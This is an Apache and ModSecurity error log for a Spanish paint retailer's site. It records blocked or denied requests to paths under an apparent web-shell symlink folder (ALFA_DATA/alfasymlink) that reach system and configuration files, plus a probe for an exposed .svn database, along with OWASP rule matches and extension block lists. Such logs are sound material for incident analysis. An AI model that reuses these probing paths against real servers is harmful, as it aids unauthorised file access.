[Tue Oct 27 10:03:45.155091 2026] [security2:error] [pid 3245635:tid 3245635] [client 185.191.171.6:63852] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/gssproxy/gssproxy.conf"] [unique_id "auCvQYpQib43BVgUg-ltCQAAAAY"]
[Tue Oct 27 10:03:45.155684 2026] [security2:error] [pid 3245635:tid 3245635] [client 185.191.171.6:63852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/gssproxy/gssproxy.conf"] [unique_id "auCvQYpQib43BVgUg-ltCQAAAAY"]
[Tue Oct 27 10:03:45.156252 2026] [security2:error] [pid 3245635:tid 3245635] [client 185.191.171.6:63852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/gssproxy/gssproxy.conf"] [unique_id "auCvQYpQib43BVgUg-ltCQAAAAY"]
[Tue Oct 27 10:03:47.846879 2026] [ssl:error] [pid 3240911:tid 3240911] (5)Input/output error: [client 54.235.191.179:25946] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:03:51.990913 2026] [ssl:error] [pid 3245638:tid 3245638] (70014)End of file found: [client 3.214.176.44:44344] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:04:03.702681 2026] [ssl:error] [pid 3245638:tid 3245638] (70014)End of file found: [client 52.45.77.169:27229] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:04:07.734598 2026] [ssl:error] [pid 3240910:tid 3240910] (70014)End of file found: [client 34.227.234.246:4549] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:04:09.019661 2026] [security2:error] [pid 3245436:tid 3245436] [client 107.172.76.131:59771] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCvTET-nkC2k8zcLn8VKQAAAAE"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:04:09.019751 2026] [security2:error] [pid 3245436:tid 3245436] [client 107.172.76.131:59771] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCvTET-nkC2k8zcLn8VKQAAAAE"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:04:12.114209 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 34.234.206.30:55148] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:04:19.866550 2026] [core:error] [pid 3245635:tid 3245635] (13)Permission denied: [client 184.73.239.35:40798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/memory2/subsystem/uevent
[Tue Oct 27 10:04:31.792693 2026] [core:error] [pid 3245635:tid 3245635] (13)Permission denied: [client 44.205.74.196:44491] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/driver/serio0/driver/bind
[Tue Oct 27 10:04:31.793282 2026] [security2:error] [pid 3245635:tid 3245635] [client 44.205.74.196:44491] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/driver/serio0/driver/bind"] [unique_id "auCvb4pQib43BVgUg-ltDQAAAAY"]
[Tue Oct 27 10:04:31.793313 2026] [security2:error] [pid 3245635:tid 3245635] [client 44.205.74.196:44491] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/driver/serio0/driver/bind"] [unique_id "auCvb4pQib43BVgUg-ltDQAAAAY"]
[Tue Oct 27 10:04:33.558070 2026] [security2:error] [pid 3245638:tid 3245638] [client 44.210.28.211:9405] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auCvcaymMyMT3lsiFC0R2wAAAAo"]
[Tue Oct 27 10:04:33.558143 2026] [security2:error] [pid 3245638:tid 3245638] [client 44.210.28.211:9405] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auCvcaymMyMT3lsiFC0R2wAAAAo"]
[Tue Oct 27 10:04:35.675964 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 3.232.102.111:2906] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:04:39.743307 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 54.84.102.81:55805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:04:41.062179 2026] [core:error] [pid 3244151:tid 3244151] (13)Permission denied: [client 85.208.96.207:43704] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/alloc_calls
[Tue Oct 27 10:04:43.918131 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 44.215.61.66:25444] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:04:48.176976 2026] [core:error] [pid 3240341:tid 3240341] (13)Permission denied: [client 184.72.84.154:43213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/6/module/uevent
[Tue Oct 27 10:04:52.845448 2026] [core:error] [pid 3245698:tid 3245698] (13)Permission denied: [client 44.194.134.53:31179] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/0000:00:01.1/rescan
[Tue Oct 27 10:04:55.782032 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 34.192.67.98:60177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:04.004332 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 18.213.27.222:59521] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:11.906244 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 3.213.213.161:53122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:12.379394 2026] [security2:error] [pid 3245434:tid 3245434] [client 107.172.76.131:59759] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCvi8iXZVpqSy65X46Z_wAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 10:05:12.379453 2026] [security2:error] [pid 3245434:tid 3245434] [client 107.172.76.131:59759] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCvi8iXZVpqSy65X46Z_wAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 10:05:15.833439 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 44.196.118.6:40210] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:19.999401 2026] [security2:error] [pid 3238477:tid 3238477] [client 18.206.47.187:22055] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/power/"] [unique_id "auCvnxKut9jdf6Y85ZJcmQAAABE"]
[Tue Oct 27 10:05:19.999451 2026] [security2:error] [pid 3238477:tid 3238477] [client 18.206.47.187:22055] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/power/"] [unique_id "auCvnxKut9jdf6Y85ZJcmQAAABE"]
[Tue Oct 27 10:05:31.681150 2026] [ssl:error] [pid 3240910:tid 3240910] (70014)End of file found: [client 34.236.185.101:37236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:35.898152 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 54.204.12.115:58528] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:43.916910 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 18.210.58.238:64659] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:48.043373 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 184.73.167.217:37978] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:51.719500 2026] [ssl:error] [pid 3240910:tid 3240910] (70014)End of file found: [client 54.147.80.137:47105] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:05:55.793565 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 34.196.6.199:49291] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:06:12.159314 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 216.244.66.250:54272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/sudo
[Tue Oct 27 10:06:19.837458 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 100.29.128.75:58678] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:06:20.719694 2026] [security2:error] [pid 3245436:tid 3245436] [client 185.191.171.15:26662] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/GNU/Linux.conf"] [unique_id "auCv3ET-nkC2k8zcLn8VMgAAAAE"]
[Tue Oct 27 10:06:20.720102 2026] [security2:error] [pid 3245436:tid 3245436] [client 185.191.171.15:26662] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/GNU/Linux.conf"] [unique_id "auCv3ET-nkC2k8zcLn8VMgAAAAE"]
[Tue Oct 27 10:06:20.720555 2026] [security2:error] [pid 3245436:tid 3245436] [client 185.191.171.15:26662] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/GNU/Linux.conf"] [unique_id "auCv3ET-nkC2k8zcLn8VMgAAAAE"]
[Tue Oct 27 10:06:23.692574 2026] [security2:error] [pid 3240715:tid 3240715] [client 3.225.9.97:61193] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:19/"] [unique_id "auCv396XOKPJcVnECbx1sQAAABY"]
[Tue Oct 27 10:06:23.692622 2026] [security2:error] [pid 3240715:tid 3240715] [client 3.225.9.97:61193] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:19/"] [unique_id "auCv396XOKPJcVnECbx1sQAAABY"]
[Tue Oct 27 10:06:27.721760 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 54.225.181.161:44790] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:06:28.263788 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 85.208.96.212:38448] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:06:39.759838 2026] [security2:error] [pid 3238313:tid 3238313] [client 44.197.76.210:10837] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/cache/index0/"] [unique_id "auCv71IPfNLWYzT54Qrw5QAAAAk"]
[Tue Oct 27 10:06:39.759932 2026] [security2:error] [pid 3238313:tid 3238313] [client 44.197.76.210:10837] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/cache/index0/"] [unique_id "auCv71IPfNLWYzT54Qrw5QAAAAk"]
[Tue Oct 27 10:06:43.865988 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.84.169.196:8657] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:06:48.101334 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 44.223.232.55:64340] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:06:51.960147 2026] [core:error] [pid 3244151:tid 3244151] (13)Permission denied: [client 44.207.207.36:10240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/remove
[Tue Oct 27 10:06:53.390163 2026] [security2:error] [pid 3240704:tid 3240704] [client 107.172.76.131:59795] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCv85YAlP-bYGqEryjMiAAAAAI"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:06:53.390226 2026] [security2:error] [pid 3240704:tid 3240704] [client 107.172.76.131:59795] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCv85YAlP-bYGqEryjMiAAAAAI"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:06:56.015654 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 34.194.233.48:45413] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:07:03.737034 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 34.195.248.30:65259] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:07:11.914038 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 34.196.237.236:51217] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:07:12.983899 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 16.216.88.1:53248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/userips
[Tue Oct 27 10:07:19.884496 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 23.21.179.27:13440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:07:21.326479 2026] [core:error] [pid 3238477:tid 3238477] (13)Permission denied: [client 216.244.66.250:58200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/demousers
[Tue Oct 27 10:07:27.824532 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 23.21.179.27:15901] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:07:31.883705 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 184.72.95.195:49119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:07:37.354412 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 185.191.171.1:11666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/objects
[Tue Oct 27 10:07:39.845885 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 18.233.24.238:21710] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:07:44.056498 2026] [core:error] [pid 3244151:tid 3244151] (13)Permission denied: [client 52.3.26.180:25749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/line
[Tue Oct 27 10:07:47.822025 2026] [core:error] [pid 3245638:tid 3245638] (13)Permission denied: [client 52.1.157.90:28100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:13/eject
[Tue Oct 27 10:07:52.126034 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.206.249.188:62578] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:08:05.875358 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 85.208.96.206:59850] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:08:11.702087 2026] [ssl:error] [pid 3246019:tid 3246019] (70014)End of file found: [client 98.83.72.38:2591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:08:17.715337 2026] [authz_core:error] [pid 3245638:tid 3245638] [client 51.68.248.16:6090] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 10:08:30.952695 2026] [security2:error] [pid 3245635:tid 3245635] [client 16.216.88.21:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "auCwXopQib43BVgUg-ltEwAAAAY"]
[Tue Oct 27 10:08:30.953174 2026] [security2:error] [pid 3245635:tid 3245635] [client 16.216.88.21:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "auCwXopQib43BVgUg-ltEwAAAAY"]
[Tue Oct 27 10:08:30.953544 2026] [security2:error] [pid 3245635:tid 3245635] [client 16.216.88.21:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "auCwXopQib43BVgUg-ltEwAAAAY"]
[Tue Oct 27 10:08:31.658335 2026] [ssl:error] [pid 3245441:tid 3245441] (5)Input/output error: [client 34.194.95.99:48369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:08:35.660219 2026] [ssl:error] [pid 3245638:tid 3245638] (70014)End of file found: [client 34.196.114.170:12100] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:08:38.490062 2026] [security2:error] [pid 3245441:tid 3245441] [client 92.118.39.93:46710] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auCwZuDGYG7bZ6qVgjrozAAAABA"]
[Tue Oct 27 10:08:38.490260 2026] [security2:error] [pid 3245441:tid 3245441] [client 92.118.39.93:46710] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auCwZuDGYG7bZ6qVgjrozAAAABA"]
[Tue Oct 27 10:08:38.490496 2026] [security2:error] [pid 3245441:tid 3245441] [client 92.118.39.93:46710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auCwZuDGYG7bZ6qVgjrozAAAABA"]
[Tue Oct 27 10:08:38.490771 2026] [security2:error] [pid 3245441:tid 3245441] [client 92.118.39.93:46710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auCwZuDGYG7bZ6qVgjrozAAAABA"]
[Tue Oct 27 10:08:39.722333 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 100.29.63.24:56492] AH02013: coalesce failed to read from data bucket
